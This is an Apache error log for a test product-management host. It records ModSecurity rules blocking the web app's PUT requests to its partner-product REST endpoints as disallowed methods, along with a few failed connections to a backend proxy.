[Wed Nov 16 17:22:32.312850 2022] [:error] [pid 3066834] [client 79.50.106.79:52006] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UOSKGN8oVzFm5feQ6S@gAAAA8&quot;]
[Wed Nov 16 17:22:32.314170 2022] [:error] [pid 3066834] [client 79.50.106.79:52006] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UOSKGN8oVzFm5feQ6S@gAAAA8&quot;]
[Wed Nov 16 17:22:32.314328 2022] [:error] [pid 3066834] [client 79.50.106.79:52006] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UOSKGN8oVzFm5feQ6S@gAAAA8&quot;]
[Wed Nov 16 17:22:56.627336 2022] [:error] [pid 3067496] [client 79.50.106.79:55462] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UOYJL5ePKtVxmWWKoU9gAAAAQ&quot;]
[Wed Nov 16 17:22:56.629052 2022] [:error] [pid 3067496] [client 79.50.106.79:55462] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UOYJL5ePKtVxmWWKoU9gAAAAQ&quot;]
[Wed Nov 16 17:22:56.629298 2022] [:error] [pid 3067496] [client 79.50.106.79:55462] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UOYJL5ePKtVxmWWKoU9gAAAAQ&quot;]
[Wed Nov 16 17:23:21.513080 2022] [:error] [pid 3068383] [client 79.50.106.79:55479] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UOeVdzB8GYEBKzeMgTugAAAAA&quot;]
[Wed Nov 16 17:23:21.514401 2022] [:error] [pid 3068383] [client 79.50.106.79:55479] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UOeVdzB8GYEBKzeMgTugAAAAA&quot;]
[Wed Nov 16 17:23:21.514564 2022] [:error] [pid 3068383] [client 79.50.106.79:55479] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UOeVdzB8GYEBKzeMgTugAAAAA&quot;]
[Wed Nov 16 17:23:29.436684 2022] [:error] [pid 3066832] [client 79.50.106.79:55485] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UOgQP5cID5RWuBgvahqAAAAA0&quot;]
[Wed Nov 16 17:23:29.437998 2022] [:error] [pid 3066832] [client 79.50.106.79:55485] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UOgQP5cID5RWuBgvahqAAAAA0&quot;]
[Wed Nov 16 17:23:29.438183 2022] [:error] [pid 3066832] [client 79.50.106.79:55485] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UOgQP5cID5RWuBgvahqAAAAA0&quot;]
[Wed Nov 16 17:23:47.930683 2022] [:error] [pid 3064782] [client 79.50.106.79:55502] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UOk5xMteM6atk@eiFaQAAAAAI&quot;]
[Wed Nov 16 17:23:47.932091 2022] [:error] [pid 3064782] [client 79.50.106.79:55502] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UOk5xMteM6atk@eiFaQAAAAAI&quot;]
[Wed Nov 16 17:23:47.932304 2022] [:error] [pid 3064782] [client 79.50.106.79:55502] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UOk5xMteM6atk@eiFaQAAAAAI&quot;]
[Wed Nov 16 17:26:14.331344 2022] [:error] [pid 3067503] [client 79.50.106.79:51726] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UPJvDPbGhz0AyC-1jBLgAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:26:14.333077 2022] [:error] [pid 3067503] [client 79.50.106.79:51726] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UPJvDPbGhz0AyC-1jBLgAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:26:14.333258 2022] [:error] [pid 3067503] [client 79.50.106.79:51726] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UPJvDPbGhz0AyC-1jBLgAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:26:14.342414 2022] [:error] [pid 3066834] [client 79.50.106.79:51724] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UPJqGN8oVzFm5feQ6TBQAAAA8&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:26:14.343974 2022] [:error] [pid 3066834] [client 79.50.106.79:51724] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UPJqGN8oVzFm5feQ6TBQAAAA8&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:26:14.344163 2022] [:error] [pid 3066834] [client 79.50.106.79:51724] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UPJqGN8oVzFm5feQ6TBQAAAA8&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:29:20.091157 2022] [:error] [pid 3068383] [client 79.50.106.79:53349] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UP4FdzB8GYEBKzeMgTvwAAAAA&quot;]
[Wed Nov 16 17:29:20.092509 2022] [:error] [pid 3068383] [client 79.50.106.79:53349] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UP4FdzB8GYEBKzeMgTvwAAAAA&quot;]
[Wed Nov 16 17:29:20.092673 2022] [:error] [pid 3068383] [client 79.50.106.79:53349] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UP4FdzB8GYEBKzeMgTvwAAAAA&quot;]
[Wed Nov 16 17:35:21.302627 2022] [:error] [pid 3065418] [client 79.50.106.79:54179] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3URSZC0OPqnUi98lF8wKQAAAAo&quot;]
[Wed Nov 16 17:35:21.307733 2022] [:error] [pid 3065418] [client 79.50.106.79:54179] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3URSZC0OPqnUi98lF8wKQAAAAo&quot;]
[Wed Nov 16 17:35:21.307900 2022] [:error] [pid 3065418] [client 79.50.106.79:54179] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3URSZC0OPqnUi98lF8wKQAAAAo&quot;]
[Mon Nov 21 12:25:54.094224 2022] [proxy:error] [pid 3139684] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed
[Mon Nov 21 12:25:54.094256 2022] [proxy_http:error] [pid 3139684] [client 79.50.106.79:56438] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://pms.test.indacotrentino.com/sales-summary
[Mon Nov 21 12:25:54.095373 2022] [proxy:error] [pid 3147081] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed
[Mon Nov 21 12:25:54.095391 2022] [proxy_http:error] [pid 3147081] [client 79.50.106.79:56439] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://pms.test.indacotrentino.com/sales-summary
[Tue Nov 22 14:27:27.734208 2022] [:error] [pid 3738] [client 213.21.147.71:59507] [client 213.21.147.71] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3zOP-1mbVy@ZIv4kzPofwAAAAo&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 14:27:27.736306 2022] [:error] [pid 3740] [client 213.21.147.71:59506] [client 213.21.147.71] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3zOP7n4FDtsUtlPV28-uQAAAAw&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
